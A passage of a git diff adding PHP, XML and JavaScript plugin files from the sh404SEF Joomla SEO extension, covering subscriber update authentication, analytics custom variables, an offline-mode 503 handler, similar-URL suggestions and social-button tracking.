options.warningNumber){ + charLeftInfo.addClass(options.warningStyle); + } else { + charLeftInfo.addClass(options.originalStyle); + } + + numInput = container.val().length + newlineCount; + if(!isWin()){ + numInput = container.val().length; + } + + numWords = countWord(getCleanedWordString(container.val())); + + numLeft = options.errorNumber - numInput; + } else { + //normal count, no cut + var newlineCount = getNewlineCount(content); + numInput = container.val().length + newlineCount; + if(!isWin()){ + numInput = container.val().length; + } + numWords = countWord(getCleanedWordString(container.val())); + } + + return formatDisplayInfo(); + } + + function formatDisplayInfo(){ + var format = options.displayFormat; + format = format.replace('#input', numInput); + format = format.replace('#words', numWords); + //When maxCharacters <= 0, #max, #left cannot be substituted. + if(maxCharacters > 0){ + format = format.replace('#max', maxCharacters); + format = format.replace('#left', numLeft); + } + return format; + } + + function getInfo(){ + var info = { + input: numInput, + max: maxCharacters, + left: numLeft, + words: numWords + }; + return info; + } + + function getNextCharLeftInformation(container){ + return container.next('.charleft'); + } + + function isWin(){ + var strOS = navigator.appVersion; + if (strOS.toLowerCase().indexOf('win') != -1){ + return true; + } + return false; + } + + function getNewlineCount(content){ + var newlineCount = 0; + for(var i=0; i \ No newline at end of file diff --git a/deployed/sh404sef/plugins/installer/sh404sef/index.html b/deployed/sh404sef/plugins/installer/sh404sef/index.html new file mode 100644 index 00000000..640bda4a --- /dev/null +++ b/deployed/sh404sef/plugins/installer/sh404sef/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/plugins/installer/sh404sef/sh404sef.php b/deployed/sh404sef/plugins/installer/sh404sef/sh404sef.php new file mode 100644 index 00000000..3295757f --- /dev/null +++ b/deployed/sh404sef/plugins/installer/sh404sef/sh404sef.php @@ -0,0 +1,114 @@ + value format) + * + * @return boolean true always true + * + * @since 2.5 + */ + public function onInstallerBeforePackageDownload(&$url, &$headers) + { + // are we trying to update our extension? + if (strpos($url, $this->baseUrl) !== 0) + { + return true; + } + + // read credentials from extension params or any other source + $credentials = $this->fetchCredentials($url, $headers); + + // bind credentials to request, either in the urls, or using headers + // or a combination of both + $this->bindCredentials($credentials, $url, $headers); + + return true; + } + + /** + * Bind credentials to the download request. + * + * @param array $credentials whatever credentials were retrieved for the current user/website + * @param string $url url from which package is going to be downloaded + * @param array $headers headers to be sent along the download request (key => value format) + * + * @return void + */ + private function bindCredentials($credentials, &$url, &$headers) + { + $headers['X-download-auth-ts'] = time(); + $headers['X-download-auth-id'] = $credentials['id']; + $headers['X-download-auth-token'] = sha1($headers['X-download-auth-ts'] . mt_rand() . $credentials['secret'] . $url); + $headers['X-download-auth-sig'] = sha1( + $credentials['id'] . $headers['X-download-auth-token'] . $credentials['secret'] . $headers['X-download-auth-ts'] . $this->productId + . $this->productEdition); + } + + /** + * Retrieve user credentials + * + * @return mixed an array with credentials (id, secret), or null if none found + */ + private function fetchCredentials($url, $headers) + { + + $credentials = null; + + // fetch credentials from extension parameters + // Get the component information from the #__extensions table + JLoader::import('joomla.application.component.helper'); + $component = JComponentHelper::getComponent($this->extension); + + $credentials = array('id' => trim($component->params->get('update_credentials_access', '')), + 'secret' => trim($component->params->get('update_credentials_secret', ''))); + return $credentials; + } +} diff --git a/deployed/sh404sef/plugins/installer/sh404sef/sh404sef.xml b/deployed/sh404sef/plugins/installer/sh404sef/sh404sef.xml new file mode 100644 index 00000000..f8b9b2bd --- /dev/null +++ b/deployed/sh404sef/plugins/installer/sh404sef/sh404sef.xml @@ -0,0 +1,16 @@ + + + plg_installer_sh404sef + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Handle sh404SEF subscribers updates + + sh404sef.php + index.html + + diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefanalytics/index.html b/deployed/sh404sef/plugins/sh404sefcore/sh404sefanalytics/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefanalytics/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.php b/deployed/sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.php new file mode 100644 index 00000000..aa8fb6fe --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.php @@ -0,0 +1,72 @@ +registerEvent('onShInsertAnalyticsSnippet', 'plgSh404sefAnalyticsCustomVars'); + +function plgSh404sefAnalyticsCustomVars(&$customVars, $sefConfig) +{ + + // add custom variable : page creation time + if ($sefConfig->analyticsEnableTimeCollection) + { + $profiler = JProfiler::getInstance('sh404sef_profiler'); + $profiler->mark(''); + $pageCreationTime = $profiler->getBuffer(); + + //extract Data + $pageCreationTime = str_replace(array('sh404sef_profiler', ''), '', $pageCreationTime[0]); + $tmp = explode(' ', trim($pageCreationTime)); // we may have memory report attached + $time = trim($tmp[0]); + + // classify exact time into predefined categories for encoding + $time = Sh404sefHelperAnalytics::classifyTime($time); + + // same for memory used + $memory = empty($tmp[1]) ? 0 : sh404sefHelperAnalytics::classifyMemory($profiler->getMemory() / (1024 * 1024)); + + // store results into incoming array + $customVars = is_null($customVars) ? array() : $customVars; + $customVars[SH404SEF_ANALYTICS_TIME_CUSTOM_VAR] = empty($customVars[SH404SEF_ANALYTICS_TIME_CUSTOM_VAR]) ? new stdClass() + : $customVars[SH404SEF_ANALYTICS_TIME_CUSTOM_VAR]; + $customVars[SH404SEF_ANALYTICS_TIME_CUSTOM_VAR]->name = 'Page creation time and ram'; + $customVars[SH404SEF_ANALYTICS_TIME_CUSTOM_VAR]->value = ($time << 4) + $memory; + + } + + // add custom variable : user logged in + if ($sefConfig->analyticsEnableUserCollection) + { + $user = clone(JFactory::getUser()); + $customVars = is_null($customVars) ? array() : $customVars; + $customVars[SH404SEF_ANALYTICS_USER_CUSTOM_VAR] = empty($customVars[SH404SEF_ANALYTICS_USER_CUSTOM_VAR]) ? new stdClass() + : $customVars[SH404SEF_ANALYTICS_USER_CUSTOM_VAR]; + $customVars[SH404SEF_ANALYTICS_USER_CUSTOM_VAR]->name = 'Logged-in user'; + if ($user->guest) + { + $userType = 'anonymous'; + } + else + { + $groups = Sh404sefHelperGeneral::getUserGroups(); + $userGroup = array_shift($user->groups); + $userType = $groups[$userGroup]; + } + $customVars[SH404SEF_ANALYTICS_USER_CUSTOM_VAR]->value = htmlentities($userType, ENT_QUOTES, 'UTF-8'); + } + + return true; + +} + diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.xml b/deployed/sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.xml new file mode 100644 index 00000000..dc12bc50 --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.xml @@ -0,0 +1,17 @@ + + + sh404sef - Analytics plugin + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Create analytics custom tags + + + sh404sefanalytics.php + index.html + + diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/index.html b/deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sef_offline_template.php b/deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sef_offline_template.php new file mode 100644 index 00000000..6fb49c89 --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sef_offline_template.php @@ -0,0 +1,37 @@ + + + + + + + direction == 'rtl') : ?> + + + + + + +
    +

    + getCfg('sitename'); ?> +

    +

    + getCfg('offline_message'); ?> +

    +
    + + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.php b/deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.php new file mode 100644 index 00000000..a16162de --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.php @@ -0,0 +1,119 @@ +isAdmin()) +{ + $app->registerEvent('onAfterRoute', 'plgSh404sefofflinecode'); +} + +/** + * Output a correct response code when site is offline + * to let know search engines that site data + * should not be discarded or discounted + */ +function plgSh404sefofflinecode() +{ + + $app = JFactory::getApplication(); + + // are we in the backend, or not offline ? + if (!defined('SH404SEF_IS_RUNNING') || $app->isAdmin() || !$app->getCfg('offline')) + { + return; + } + + // get plugin params + $plugin = JPluginHelper::getPlugin('sh404sefcore', 'sh404sefofflinecode'); + $pluginParams = new JRegistry; + $pluginParams->loadString($plugin->params); + + $disallowAdminAccess = $pluginParams->get('disallowAdminAccess', 0); + + if (!$disallowAdminAccess) + { + // admins are allowed, lets check if current user + // is an admin, or if user is trying to log in + $user = JFactory::getUser(); + $option = $app->input->getCmd('option'); + $task = $app->input->getCmd('task'); + if (!empty($user->id)) + { + $loggingIn = true; + } + else if ($option == 'com_users' && $task == 'user.login') + { + // Check for request forgeries + JRequest::checkToken() or jexit('Invalid Token'); + $loggingIn = true; + } + // provide bypass for Akeeba, to allow backup while in offline mode + // not as secure, but I surrender + else if ($option == 'com_akeeba') + { + $loggingIn = true; + } + else + { + $loggingIn = false; + } + + // if already logged inadmin, or admin logging in, let it go + if ($loggingIn) + { + return true; + } + } + + // need to render offline screen + if ($disallowAdminAccess) + { + // admins not allowed, use our own + // simplified template. Most likely being hacked so + // close doors as much as possible + $template = ''; + $file = 'sh404sef_offline_template.php'; + $directory = JPATH_ROOT . '/plugins/sh404sefcore'; + } + else + { + // admin can access, use Joomla! offline template, + // that includes a login form + $template = $app->getTemplate(); + $file = 'offline.php'; + $directory = JPATH_THEMES; + } + + $params = array('template' => $template, 'file' => $file, 'directory' => $directory); + + $document = JFactory::getDocument(); + $data = $document->render($app->getCfg('caching'), $params); + + // header : service unavailable + JResponse::setHeader('HTTP/1.0 503', true); + + // give it some time + $retryAfter = $pluginParams->get('retry_after_delay', 7400); + + // set header + Jresponse::setheader('Retry-After', gmdate('D, d M Y H:i:s', time() + $retryAfter) . ' GMT'); + + // echo document + JResponse::setBody($data); + echo JResponse::toString($app->getCfg('gzip')); + + // and terminate + $app->close(); + +} diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.xml b/deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.xml new file mode 100644 index 00000000..56e2a1e7 --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.xml @@ -0,0 +1,33 @@ + + + sh404sef - Offline code plugin + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Render Joomla's offline page with the appropriate http response code + + sh404sefofflinecode.php + sh404sef_offline_template.php + index.html + + + +
    + + + + + +
    +
    +
    +
    diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/index.html b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.php b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.php new file mode 100644 index 00000000..7a3e4028 --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.php @@ -0,0 +1,374 @@ +isAdmin()) +{ + $app->registerEvent('onContentPrepare', 'plgSh404sefsimilarurls'); +} + +function plgSh404sefsimilarurls($context, &$rowContent, &$params, $page = 0) +{ + if (!defined('SH404SEF_IS_RUNNING')) + { + // only do something if sh404sef is up and running + return true; + } + + if ($context == 'com_finder.indexer') + { + return true; + } + + if (empty($rowContent->text)) + { + return true; + } + // a little hack on the side : optionnally display the requested url + + // first get current sef url + $shPageInfo = &Sh404sefFactory::getPageInfo(); + + // replace marker + $url = JURI::getInstance()->toString(); + $rowContent->text = str_replace('{%sh404SEF_404_URL%}', htmlspecialchars($url, ENT_COMPAT, 'UTF-8'), $rowContent->text); + + // now the similar urls + $marker = 'sh404sefSimilarUrls'; + + // quick check for our marker: + if (JString::strpos($rowContent->text, $marker) === false) + { + return true; + } + + // get plugin params + $plugin = JPluginHelper::getPlugin('sh404sefcore', 'sh404sefsimilarurls'); + + // init params from plugin + $pluginParams = new JRegistry; + $pluginParams->loadString($plugin->params); + + $matches = array(); + + // regexp to catch plugin requests + $regExp = "#{" . $marker . "}#Uus"; + + // search for our marker} + if (preg_match_all($regExp, $rowContent->text, $matches, PREG_SET_ORDER) > 0) + { + // we have at least one match, we can search for similar urls + $html = shGetSimilarUrls(JURI::getInstance()->getPath(), $pluginParams); + + // remove comment, so that nothing shows + if (empty($html)) + { + $rowContent->text = ShlSystem_Strings::pr('/{sh404sefSimilarUrlsCommentStart}.*{sh404sefSimilarUrlsCommentEnd}/iUus', '', + $rowContent->text); + } + else + { + // remove the comment markers themselves + $rowContent->text = str_replace('{sh404sefSimilarUrlsCommentStart}', '', $rowContent->text); + $rowContent->text = str_replace('{sh404sefSimilarUrlsCommentEnd}', '', $rowContent->text); + } + + // now replace instances of the marker by similar urls list + $rowContent->text = str_replace($matches[0], $html, $rowContent->text); + } + + return true; +} + +/** + * @params object parameters set by user for the plugin + * @return string a list of sef urls similar to that of the current page + */ +function shGetSimilarUrls($path, $params) +{ + // init result + $urls = ''; + + // current path + $path = JString::trim($path); + $path = JString::trim($path, '.'); + + // if empty, we may be on a non-sef urls + if (empty($path)) + { + return $urls; + } + + $urlList = shFindSimilarUrls($path, $params); + + $urls = shFormatSimilarUrls($urlList); + + return $urls; +} +/** + * @params object parameters set by user for the plugin + * @return string a list of sef urls similar to that of the current page + */ +function shFindSimilarUrls($path, $params) +{ + // init result + $urls = array(); + + // if empty, we may be on a non-sef urls + if (empty($path)) + { + return $urls; + } + + // actually do the search + + // minimum segment to use + $minLength = $params->get('min_segment_length', 3); + + // break down path into segments, and check them + $bits = explode('/', $path); + + // discard elements that are too short + // and prepare for db query + $segments = array(); + $originalSegments = array(); + + foreach ($bits as $bit) + { + // for soundex, we keep the whole url + if (JString::strlen($bit) >= $minLength) + { + $originalSegments[] = $bit; + } + + // try break down the request further, based on common replacement character values + $bit = str_replace('-', ' ', $bit); + $bit = str_replace('_', ' ', $bit); + $bit = str_replace('.', ' ', $bit); + + // now we can break down based on spaces + $subBits = explode(' ', $bit); + + // keep only the good ones + foreach ($subBits as $subBit) + { + if ((JString::strlen($subBit) >= $minLength) && JString::strtolower($subBit) != 'html' && JString::strtolower($subBit) != 'htm' + && JString::strtolower($subBit) != 'php') + { + $segments[] = $subBit; + } + } + } + + // call search function + $urls = shSearchSimilarUrls($segments, $originalSegments, $path, $params); + + // return whatever we found + return $urls; +} + +/** + * Search the sef url and aliases tables for + * urls similar to the current one + * + * @param $bits segment of the requested url, borken down to each individual words in the url + * @param $originalBits segment of the urls, broken down by only by slashes + * @param $limit + * @return unknown_type + */ +function shSearchSimilarUrls($bits, $originalBits, $searchedPath, $params) +{ + // init result + $urls = array(); + + // do we have data to work with ? + if (empty($bits)) + { + return $urls; + } + + // get params we need + // how many urls to display, max ? + $limit = $params->get('max_number_of_urls', 5); + + // include pdf ? + $includePdf = $params->get('include_pdf', 0); + + // include printable ? + $includePrint = $params->get('include_print', 0); + + // get db instance + $db = ShlDbHelper::getDb(); + + // search the redirection table for similar urls + $sql = 'select oldurl, newurl, id, dateadd from #__sh404sef_urls where newurl <> "" '; + + // virtuemart hack + $sql .= ' AND oldurl not like ' . $db->Quote('%vmchk%'); + + // additional conditions : never include feed results + $sql .= ' AND newurl not like ' . $db->Quote('%format=feed%'); + + // additional user-set conditions + if (!$includePdf) + { + $sql .= ' AND newurl not like ' . $db->Quote('%format=pdf%'); + } + if (!$includePrint) + { + $sql .= ' AND newurl not like ' . $db->Quote('%print=1%'); + } + + // apply exclusion list + $excludedWords = $params->get('excluded_words_sef', ''); + if (!empty($excludedWords)) + { + $words = explode("\n", $excludedWords); + foreach ($words as $word) + { + $word = trim($word); + if (!empty($word)) + { + $sql .= ' AND oldurl not like ' . $db->Quote('%' . $word . '%'); + } + } + } + + $excludedWords = $params->get('excluded_words_non_sef', ''); + if (!empty($excludedWords)) + { + $words = explode("\n", $excludedWords); + foreach ($words as $word) + { + $word = trim($word); + if (!empty($word)) + { + $sql .= ' AND newurl not like ' . $db->Quote('%' . $word . '%'); + } + } + } + + // search the redirection table for similar urls + $sql .= ' AND ( '; + + $sql .= ' soundex(oldurl) = soundex(' . $db->Quote(implode('/', $originalBits)) . ')'; + + $subSql = array(); + foreach ($bits as $bit) + { + $subSql[] = ' oldurl like ' . $db->Quote('%' . $bit . '%'); + } + $sql .= ' OR '; + $sql .= implode(' OR ', $subSql); + $sql .= ')'; + + // group and limit result set + $sql .= ' GROUP BY oldurl'; + $sql .= ' limit 500'; + + // perform query + $db->setQuery($sql); + $urlList = $db->loadObjectList(); + $urlList = empty($urlList) ? array() : $urlList; + + // rank them, trying to have the best one near the top of the list + $urlList = shRankSimilarUrlsSimilarText($urlList, $searchedPath); + + // only keep a limited number + $urlList = array_slice($urlList, 0, $limit); + + // now build an unordered list with the remaining solutions + reset($urlList); + + // return whatever we found + return $urlList; +} + +function shFormatSimilarUrls($urlList) +{ + $urls = ''; + if (!empty($urlList)) + { + foreach ($urlList as $url) + { + $urls .= '
  • ' . $url->oldurl . '
  • '; + } + $urls = '
      ' . $urls . '
    '; + } + + return $urls; +} + +/** + * Call back function for usort + * Compares distance between requested url lenght and + * candidate url length + * + * @param $a + * @param $b + * @return unknown_type + */ +function shSortByReverseDistance($a, $b) +{ + if ($a['distance'] == $b['distance']) + { + return 0; + } + return ($a['distance'] >= $b['distance']) ? -1 : 1; +} + +/** + * Apply a method to put the most appropriate urls + * at top of list + * + * @param array $urls an array of retrieved urls + * @return array same array, sorted to have most relevant url at offset 0, 1, etc + */ +function shRankSimilarUrlsSimilarText($urls, $searchedPath) +{ + if (empty($urls)) + { + return $urls; + } + + // sort by distance + // current path + $path = JString::trim($searchedPath); + $path = JString::trim($path, '.'); + + // create a temporary array indexed on distance + // between the length of the request and the current similar url + $tmp = array(); + foreach ($urls as $url) + { + $r = null; + $distance = similar_text($url->oldurl, $path, $r); + $t = array('distance' => $r, 'url' => $url); + $tmp[] = $t; + } + + // sort this array according to text similarity + usort($tmp, 'shSortByReverseDistance'); + + // recreate the array we want + $rankedUrls = array(); + foreach ($tmp as $u) + { + $rankedUrls[] = $u['url']; + } + + return $rankedUrls; +} diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.xml b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.xml new file mode 100644 index 00000000..1bc75c8f --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.xml @@ -0,0 +1,47 @@ + + + sh404sef - Similar urls plugin + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Search for urls similar to that of the current page + + sh404sefsimilarurls.php + index.html + + + + +
    + + + + + + + + + + + + +
    +
    +
    +
    diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/index.html b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.js b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.js new file mode 100644 index 00000000..03184f60 --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.js @@ -0,0 +1,170 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +// get Google Analytics queue +var _gaq = _gaq || []; + +// our own tracker +var _sh404sefSocialTrack = _sh404sefSocialTrack || []; + +_sh404sefSocialTrack.setup = function() { + + FB.init({ + appId : _sh404sefSocialTrack.options.FBAppId ? _sh404sefSocialTrack.options.FBAppId : "154426421321384", + channelUrl : _sh404sefSocialTrack.options.FBChannelUrl ? _sh404sefSocialTrack.options.FBChannelUrl : "", + status : true, // check login status + cookie : true, // enable cookies to allow the server to access the session + oauth : true, // enable OAuth 2.0 + xfbml : true + // parse XFBML + }); + + if (_sh404sefSocialTrack.options.enableAnalytics) { + // compute tracker name + _sh404sefSocialTrack.trackerName = _sh404sefSocialTrack.options.trackerName ? _sh404sefSocialTrack.options.trackerName + : "sh404SEF_social_tracker"; + + // enable tracking, either sync. or async. + _sh404sefSocialTrack.setupFBTracking(); + _sh404sefSocialTrack.setupTweeterTracking(); + } +}; + +/* + * Facebook tracking : Call directly if SDK loaded synchroneously or assign to + * window.fbAsyncInit if using asynchronous loading + */ + +_sh404sefSocialTrack.setupFBTracking = function() { + + try { + if (FB && FB.Event && FB.Event.subscribe) { + FB.Event.subscribe('edge.create', function(targetUrl) { + // alert( 'tracking a FB like'); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_facebook', 'like', targetUrl, 1, true ]); + // Google tracking + if (_sh404sefSocialTrack.options.enableGoogleTracking) { + _gaq.push([ '_trackSocial', 'facebook', 'like', targetUrl ]); + } + }); + FB.Event.subscribe('edge.remove', function(targetUrl) { + // alert( 'tracking a FB unlike'); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_facebook', 'unlike', targetUrl, 1, true ]); + // Google tracking + if (_sh404sefSocialTrack.options.enableGoogleTracking) { + _gaq.push([ '_trackSocial', 'facebook', 'unlike', targetUrl ]); + } + }); + FB.Event.subscribe('message.send', function(targetUrl) { + // alert( 'tracking a FB send'); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_facebook', 'send', targetUrl, 1, true ]); + // Google tracking + if (_sh404sefSocialTrack.options.enableGoogleTracking) { + _gaq.push([ '_trackSocial', 'facebook', 'send', targetUrl ]); + } + }); + } + } catch (e) { + } +}; + +// Tweeter tracking +_sh404sefSocialTrack.setupTweeterTracking = function() { + try { + if (twttr && twttr.events && twttr.events.bind) { + twttr.events.bind('tweet', function(event) { + if (event) { + var targetUrl; // Default value is undefined. + if (event.target && event.target.nodeName == 'IFRAME') { + targetUrl = _sh404sefSocialTrack.extractParamFromUri(event.target.src, 'url'); + } + // alert( 'tracking a tweet'); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_tweeter', 'tweet', targetUrl, 1, true ]); + // Google tracking + if (_sh404sefSocialTrack.options.enableGoogleTracking) { + _gaq.push([ '_trackSocial', 'twitter', 'tweet', targetUrl ]); + } + } + }); + } + } catch (e) { + } +}; + +/* + * Pinterest tracking, through a callback + */ +_sh404sefSocialTrackPinterestTracking = function(msg, url) { + try { + if (msg == "pinned") { + // alert( 'Image pinned'); + var targetMedia = _sh404sefSocialTrack.extractParamFromUri(url, 'url') + ' (' + + _sh404sefSocialTrack.extractParamFromUri(url, 'media') + ')'; + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_pinterest', msg, targetMedia, 1, true ]); + } + } catch (e) { + } +}; + +/* + * G+ requires a callback function for each click + */ +_sh404sefSocialTrackGPlusTracking = function(data) { + try { + if (data.state == "on") { + // alert( 'tracking a plus one'); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_gplus', data.state, data.href, 1, true ]); + } else if (data.state == "off") { + // alert('tracking an unplus one'); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_gplus', data.state, data.href, 1, true ]); + } + } catch (e) { + } +}; + +// Google page click tracking +_sh404sefSocialTrack.GPageTracking = function(target, source) { + try { + // alert( 'tracking GPage, page='+target+' from '+source); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_gplus_page', target, source, 1, true ]); + } catch (e) { + } +}; + +/** + * Extracts a query parameter value from a URI. (c) Google - 2011 + * + * @param {string} + * uri The URI from which to extract the parameter. + * @param {string} + * paramName The name of the query paramater to extract. + * @return {string} The un-encoded value of the query paramater. underfined if + * there is no URI parameter. + * @private + */ +_sh404sefSocialTrack.extractParamFromUri = function(uri, paramName) { + if (!uri || !uri.indexOf('#')) { + return; + } + var uri = uri.indexOf('#') > 0 ? uri.split('#')[1] : uri; // Remove anchor. + + // Find url param. + paramName += '='; + uri = uri.split('?'); + uri = uri[1] ? uri[1] : uri[0]; + var params = uri.split('&'); + for ( var i = 0, param; param = params[i]; ++i) { + if (param.indexOf(paramName) === 0) { + return unescape(decodeURI(param.split('=')[1])); + } + } + return; +}; diff --git a/deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.php b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.php new file mode 100644 index 00000000..9d28c40c --- /dev/null +++ b/deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.php @@ -0,0 +1,646 @@ +_params = new JRegistry; + $this->_params->loadString($plugin->params); + // some networks use underscore in language tags + $this->_underscoredLanguageTag = str_replace('-', '_', JFactory::getLanguage()->getTag()); + $this->_shortLanguageCode = explode('_', $this->_underscoredLanguageTag); + $this->_shortLanguageCode = empty($this->_shortLanguageCode) ? 'en' : $this->_shortLanguageCode[0]; + $this->_linkedinScriptLoaded = false; + } + + /** + * Insert appropriate script links into document + */ + public function onSh404sefInsertSocialButtons(&$page, $sefConfig) + { + $app = JFactory::getApplication(); + + // are we in the backend - that would be a mistake + if (!defined('SH404SEF_IS_RUNNING') || $app->isAdmin()) + { + return; + } + + // don't display on errors + $pageInfo = Sh404sefFactory::getPageInfo(); + if (!empty($pageInfo->httpStatus) && $pageInfo->httpStatus == 404) + { + return; + } + + // regexp to catch plugin requests + $regExp = '#{sh404sef_social_buttons(.*)}#Uus'; + + // search for our marker} + if (preg_match_all($regExp, $page, $matches, PREG_SET_ORDER) > 0) + { + // process matches + foreach ($matches as $id => $match) + { + $url = ''; + $imageSrc = ''; + $imageDesc = ''; + // extract target URL + if (!empty($match[1])) + { + //normally, there is no quotes around attributes + // but a description will probably have spaces, so we + // now try to get attributes from both syntax + jimport('joomla.utilities.utility'); + $attributes = JUtility::parseAttributes($match[1]); + $url = empty($attributes['url']) ? '' : $attributes['url']; + $imageSrc = empty($attributes['img']) ? '' : $attributes['img']; + $imageDesc = empty($attributes['desc']) ? '' : $attributes['desc']; + $type = empty($attributes['type']) ? '' : $attributes['type']; + + // now process usual tags + $raw = explode(' ', $match[1]); + $attributes = array(); + $enabledButtons = array(); + foreach ($raw as $attribute) + { + $attribute = JString::trim($attribute); + if (strpos($attribute, '=') === false) + { + continue; + } + $bits = explode('=', $attribute); + if (empty($bits[1])) + { + continue; + } + switch ($bits[0]) + { + case 'url': + if (empty($url)) + { + $base = JURI::base(true); + if (substr($bits[1], 0, 10) == 'index.php?') + { + $url = JURI::getInstance()->toString(array('scheme', 'host', 'port')) . JRoute::_($bits[1]); + } + else if (substr($bits[1], 0, JString::strlen($base)) == $base) + { + $url = JURI::getInstance()->toString(array('scheme', 'host', 'port')) . $bits[1]; + } + else if (substr($bits[1], 0, 1) == '/') + { + $url = JString::rtrim(JURI::base(), '/') . $bits[1]; + } + else + { + $url = $bits[1]; + } + } + break; + case 'type': + $newType = trim(strtolower($bits[1])); + if (!in_array($newType, $enabledButtons)) + { + $enabledButtons[] = $newType; + } + break; + case 'img': + $imageSrc = empty($imageSrc) ? strtolower($bits[1]) : $imageSrc; + break; + } + } + + if (!empty($enabledButtons)) + { + $this->_enabledButtons = $enabledButtons; + } + } + // get buttons html + $buttons = $this->_sh404sefGetSocialButtons($sefConfig, $url, $context = '', $content = null, $imageSrc, $imageDesc, $isTag = true); + $buttons = str_replace('\'', '\\\'', $buttons); + + // replace in document + $page = str_replace($match[0], $buttons, $page); + } + } + + // insert head links as needed + $this->_insertSocialLinks($page, $sefConfig); + + } + + public function onContentBeforeDisplay($context, &$row, &$params, $page = 0) + { + $app = JFactory::getApplication(); + + // are we in the backend - that would be a mistake + if (!defined('SH404SEF_IS_RUNNING') || $app->isAdmin()) + { + return; + } + + // don't display on errors + $pageInfo = Sh404sefFactory::getPageInfo(); + if (!empty($pageInfo->httpStatus) && $pageInfo->httpStatus == 404) + { + return ''; + } + + if ($this->_params->get('buttonsContentLocation', 'onlyTags') == 'before') + { + $buttons = $this->_sh404sefGetSocialButtons(Sh404sefFactory::getConfig(), $url = '', $context, $row); + } + else + { + $buttons = ''; + } + return $buttons; + + } + + public function onContentAfterDisplay($context, &$row, &$params, $page = 0) + { + if 